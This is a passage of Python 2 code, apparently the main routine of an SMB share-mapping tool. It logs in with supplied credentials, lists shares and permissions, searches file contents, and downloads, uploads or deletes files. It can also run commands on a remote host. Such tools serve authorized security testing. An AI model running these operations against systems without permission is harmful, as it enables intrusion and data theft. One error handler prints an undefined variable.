        if mysmb.find_open_ports(args.host, args.port):
            try:
                host[args.host.strip()] = { 'name' : socket.getnameinfo((args.host.strip(), args.port),0)[0], 'port' : args.port, 'user' : args.user, 'passwd' : args.passwd, 'domain' : args.domain}
            except:
                host[args.host.strip()] = { 'name' : 'unknown', 'port' : 445, 'user' : args.user, 'passwd' : args.passwd, 'domain' : args.domain } 
    
    mysmb.hosts = host
    info(mysmb.hosts)
    mysmb.smart_login(args.host)

    if args.pattern:
        mysmb.pattern = args.pattern
    for host in mysmb.hosts.keys():
        if args.file_content_search:
            print '[+] File search started on %d hosts...this could take a while' % (len(mysmb.hosts))
            if args.search_path[-1] == '\\':
                search_path = args.search_path[:-1]
            else:
                search_path = args.search_path
            mysmb.start_file_search(host, args.file_content_search, args.share, search_path)
        
        #if '-v' in sys.argv:
        #    mysmb.get_version(host)    #commented this out since it wasn't in the original usage

        try:
            if args.dlPath:
                mysmb.download_file(host, args.dlPath)
                sys.exit()

            if args.upload:
                mysmb.upload_file(host, args.upload[0], args.upload[1])
                sys.exit()

            if args.delFile:
                mysmb.delete_file(host, args.delFile)
                sys.exit()
    
            if args.list_drives:
                mysmb.list_drives(host, args.share)

            if args.command:
                mysmb.exec_command(host, args.share, args.command, True)
                sys.exit()

            if not args.dlPath and not args.upload and not args.delFile and not args.list_drives and not args.command and not args.file_content_search:
                print '[+] IP: %s:%s\tName: %s' % (host, mysmb.hosts[host]['port'], mysmb.hosts[host]['name'].ljust(50))
                print '\tDisk%s\tPermissions' % (' '.ljust(50))
                print '\t----%s\t-----------' % (' '.ljust(50))
                mysmb.output_shares(host, lsshare, lspath, args.verbose)

        except SessionError as e:
            print '[!] Access Denied'
        except Exception as e:
            print '[!]', e
            exc_type, exc_obj, exc_tb = sys.exc_info()
            fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
            print(exc_type, fname, exc_tb.tb_lineno)
            print(x)
            sys.stdout.flush()
    if args.file_content_search:
        mysmb.get_search_results()
     
    for host in mysmb.hosts.keys():
        mysmb.logout(host) 
